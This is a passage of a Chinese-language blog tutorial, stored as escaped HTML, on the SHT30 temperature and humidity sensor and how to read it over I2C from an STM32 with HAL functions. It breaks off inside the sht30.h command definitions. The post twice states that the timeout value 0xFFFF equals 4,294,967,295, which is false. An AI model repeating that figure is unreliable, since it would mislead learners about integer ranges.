title=\"SHT30简介\"\u003e\u003c/a\u003eSHT30简介\u003c/h3\u003e\u003cp\u003eSHT30数字温湿度传感器采用业内知名的瑞士Sensirion公司推出的新一代SHT30温湿度传感器芯片,它能够提供极高的可靠性和出色的长期稳定性,具有功耗低、反应快、抗干扰能力强等优点。IIC通讯,兼容3.3V\u0026#x2F;5V,可以非常容易的集成到智能楼宇、天气站、仓库存储、养殖、孵化等应用场景中,其中小米的温湿度传感器使用的也是SHT30。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/index.webp\" style=\"zoom: 50%;\" /\u003e\u003cul\u003e\u003cli\u003e高精度,内部自动校准,数字输出\u003c/li\u003e\u003cli\u003e低功耗、响应速度快、抗干扰能力强\u003c/li\u003e\u003cli\u003e兼容3.3V\u0026#x2F;5V控制器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"SHT30工作原理\"\u003e\u003ca href=\"#SHT30工作原理\" class=\"headerlink\" title=\"SHT30工作原理\"\u003e\u003c/a\u003eSHT30工作原理\u003c/h3\u003e\u003cp\u003eSHT30 芯片有八个引脚,利用I2C进行数据传输,具有两个可选地址,宽电源电压从2.4V到5.5V。下面是引脚说明:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e管脚\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e备注\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eSDA\u003c/td\u003e\u003ctd\u003eI2C数据引脚,输入\u0026#x2F;输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eADDR\u003c/td\u003e\u003ctd\u003e地址引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003eALENT\u003c/td\u003e\u003ctd\u003e报警引脚,输出;\u003cstrong\u003e不使用时悬空\u003c/strong\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003eSCL\u003c/td\u003e\u003ctd\u003eI2C时钟引脚,输入\u0026#x2F;输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003eVDD\u003c/td\u003e\u003ctd\u003e电源引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6\u003c/td\u003e\u003ctd\u003enRESET\u003c/td\u003e\u003ctd\u003e复位引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e无用引脚,接地\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e8\u003c/td\u003e\u003ctd\u003eVSS\u003c/td\u003e\u003ctd\u003e接地引脚\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT30地址选择\"\u003e\u003ca href=\"#SHT30地址选择\" class=\"headerlink\" title=\"SHT30地址选择\"\u003e\u003c/a\u003eSHT30地址选择\u003c/h4\u003e\u003cp\u003eSHT3x有两个地址,可以将\u003ccode\u003eADDR\u003c/code\u003e接到不同电平进行切换:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eSHT3x-DIS\u003c/th\u003e\u003cth\u003eI2C地址\u003c/th\u003e\u003cth\u003e条件\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eI2C地址A\u003c/td\u003e\u003ctd\u003e0x44(默认)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e低\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI2C地址B\u003c/td\u003e\u003ctd\u003e0x45\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e高\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT3x电路图\"\u003e\u003ca href=\"#SHT3x电路图\" class=\"headerlink\" title=\"SHT3x电路图\"\u003e\u003c/a\u003eSHT3x电路图\u003c/h4\u003e\u003cp\u003e因为是开漏,所以记得将\u003ccode\u003eSDA\u003c/code\u003e,\u003ccode\u003eSCL\u003c/code\u003e两个引脚拉高。(因为直接买的模块,所以就不用操心了。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/20.webp\" alt=\"电路图\" style=\"zoom:67%;\" /\u003e\u003ch3 id=\"SHT30数据采集\"\u003e\u003ca href=\"#SHT30数据采集\" class=\"headerlink\" title=\"SHT30数据采集\"\u003e\u003c/a\u003eSHT30数据采集\u003c/h3\u003e\u003cp\u003eSHT3x有单次测量命令数据采集模式和周期性测量命令数据采集模式,这里选择\u003cstrong\u003e周期性测量命令数据采集模式\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"定期数据采集模式的测量命令\"\u003e\u003ca href=\"#定期数据采集模式的测量命令\" class=\"headerlink\" title=\"定期数据采集模式的测量命令\"\u003e\u003c/a\u003e定期数据采集模式的测量命令\u003c/h4\u003e\u003cp\u003e在这种模式下,一个发出的测量命令会产生一个数据对流。每个数据对由一个16位温度值和一个16位湿度值(按此顺序)组成。在周期模式下,可以选择不同的测量命令。对应的16位命令如表9所示。它们在可重复性(低、中、高)和数据采集频率(每秒0.5、1、2、4和10次测量值,mps)方面存在差异。在此模式下不能选择时钟拉伸。数据采集频率和可重复性设置会影响传感器的测量持续时间和电流消耗。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/21.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e根据表格的通信时序,主机发送起始信号,然后发送从机地址加写指令命令,等待从机应答,再发送命令的高位(MSB),等待从机应答,再发送命令的低位(LSB)。\u003c/p\u003e\u003ch4 id=\"周期模式下测量结果的读数\"\u003e\u003ca href=\"#周期模式下测量结果的读数\" class=\"headerlink\" title=\"周期模式下测量结果的读数\"\u003e\u003c/a\u003e周期模式下测量结果的读数\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e读数据的命令是: \u003ccode\u003e0xE000\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/22.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003e读数可以通过上表所示的命令启动。如果没有测量数据,I2C读取头用NACK而不是ACK(表中的位9)响应,通信停止。\u003c/p\u003e\u003cp\u003e空白的数据块是由32发送,黑色的数据块是由SHT30发送。\u003c/p\u003e\u003cp\u003e根据表中的通信时序,获取SHT30的温湿度数据,获取到的是16位的温度值和16位的湿度值,温度和湿度后都有CRC-8校验。\u003c/p\u003e\u003ch4 id=\"SHT30复位\"\u003e\u003ca href=\"#SHT30复位\" class=\"headerlink\" title=\"SHT30复位\"\u003e\u003c/a\u003eSHT30复位\u003c/h4\u003e\u003cp\u003eSHT30的系统复位有两种方式,一种是发出命令(软重置),一种是通过外部向专用复位引脚(\u003ccode\u003enRESET\u003c/code\u003e)发送脉冲。我们选择\u003cstrong\u003e软重置\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e软重置的命令是: \u003ccode\u003e0x30A2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/23.webp\" style=\"zoom:67%;\" /\u003e\u003ch4 id=\"差错校验\"\u003e\u003ca href=\"#差错校验\" class=\"headerlink\" title=\"差错校验\"\u003e\u003c/a\u003e差错校验\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e \u003cdel\u003e(原理进行一个参考链接的抄)\u003c/del\u003e\u003c/p\u003e\u003cp\u003eCRC覆盖了先前传输的两个数据字节的内容。 为了计算校验和,仅使用这两个先前发送的数据字节。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/24.webp\" style=\"zoom:67%;\" /\u003e\u003ch4 id=\"温湿度转换\"\u003e\u003ca href=\"#温湿度转换\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cp\u003e测量数据始终以 16 位值(无符号整数)形式传输。 这些值已经线性化并补偿了温度和电源电压的影响。 可以使用以下公式将这些原始值转换为物理标度。\u003c/p\u003e\u003cp\u003e相对湿度换算公式(结果以%RH为单位):\u003c/p\u003e\u003cp\u003e$$RH\u0026#x3D;100\\times \\frac{S_{RH}}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e温度换算公式(结果以 °C 和 °F 为单位):\u003c/p\u003e\u003cp\u003e$$T[°C]\u0026#x3D;-45+175\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$$T[°F]\u0026#x3D;-49+315\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$S_{RH}$ 和 $S_{T}$ 分别表示湿度和温度的原始传感器输出。 仅当$S_{RH}$ 和 $S_{T}$ 以十进制表示形式使用时,这些公式才能正确工作。\u003c/p\u003e\u003ch2 id=\"代码驱动SHT30\"\u003e\u003ca href=\"#代码驱动SHT30\" class=\"headerlink\" title=\"代码驱动SHT30\"\u003e\u003c/a\u003e代码驱动SHT30\u003c/h2\u003e\u003cp\u003e首先使用 STM32CubeMX进行一些常规配置,时钟,调试选项……\u003c/p\u003e\u003cp\u003e然后配置串口: \u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在I2C2中选择I2C,打开硬件I2C。\u003c/p\u003e\u003ch3 id=\"HAL库中I2C发送接收数据函数\"\u003e\u003ca href=\"#HAL库中I2C发送接收数据函数\" class=\"headerlink\" title=\"HAL库中I2C发送接收数据函数\"\u003e\u003c/a\u003eHAL库中I2C发送接收数据函数\u003c/h3\u003e\u003ch4 id=\"(1)HAL-I2C-Master-Transmit\"\u003e\u003ca href=\"#(1)HAL-I2C-Master-Transmit\" class=\"headerlink\" title=\"(1)HAL_I2C_Master_Transmit()\"\u003e\u003c/a\u003e(1)HAL_I2C_Master_Transmit()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC发送数据,主机需要将数据通过IIC发送过去\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e参数介绍:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e*hi2c\u003c/code\u003e 设置使用的是那个IIC\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDevAddress\u003c/code\u003e 写入的地址,设置写入数据的地址\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*pData\u003c/code\u003e 需要写入的数据\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSize\u003c/code\u003e 要发送的字节数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eTimeout\u003c/code\u003e 最大传输时间,超过传输时间将自动退出传输函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解(🌰):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_WR\u003c/code\u003e:我们宏定义了写的地址,传写的地址\u003ccode\u003e#define SHT30_ADDR_WR (SHT30_ADDR\u0026lt;\u0026lt;1)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(uint8_t*)buf\u003c/code\u003e:我们将需要传的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003e2\u003c/code\u003e:传\u003ccode\u003e2\u003c/code\u003e个字节,\u003ccode\u003e16\u003c/code\u003e个位\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"HAL-I2C-Master-Receive\"\u003e\u003ca href=\"#HAL-I2C-Master-Receive\" class=\"headerlink\" title=\"HAL_I2C_Master_Receive()\"\u003e\u003c/a\u003eHAL_I2C_Master_Receive()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC接收数据,从机发送给主机,主机需要将数据通过IIC接收\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数参数和HAL_I2C_Master_Transmit()大概是一样的,只是取到的数据保存在pData中。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解(🌰):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_DATA_SIZE\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_RD\u003c/code\u003e:我们宏定义了读的地址,传读的地址\u003ccode\u003e#define SHT30_ADDR_RD ((SHT30_ADDR\u0026lt;\u0026lt;1) | 0x01)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e:我们将获取到的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_DATA_SIZE\u003c/code\u003e:宏定义,6个字节\u003ccode\u003e#define SHT30_DATA_SIZE 6\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"头文件-sht30-h\"\u003e\u003ca href=\"#头文件-sht30-h\" class=\"headerlink\" title=\"头文件 sht30.h\"\u003e\u003c/a\u003e头文件 \u003ccode\u003esht30.h\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e在头文件中我们提前定义好相关命令与函数原型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eenum\u003c/code\u003e用于定义枚举类型,它本质上是一种整数类型。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifndef\u003c/span\u003e \u003cspan class=\"token expression\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"stm32f4xx_hal.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_WR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_RD\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_DATA_SIZE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eenum\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 软件复位命令 */\u003c/span\u003e SOFT_RESET_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30A2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 单次测量模式 命名格式:Repeatability_CS_CMD CS: Clock stretching */\u003c/span\u003e HIGH_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2400\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x240B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2416\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式 命名格式:Repeatability_MPS_CMD MPS:measurement per second */\u003c/span\u003e HIGH_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2032\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x202F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2130\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2126\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x212D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2236\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2220\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x222B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2334\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2322\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2329\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2737\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2721\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x272A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式读取数据命令 */\u003c/span\u003e READOUT_FOR_PERIODIC_MODE \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xE000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e SHT30_CMD\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan 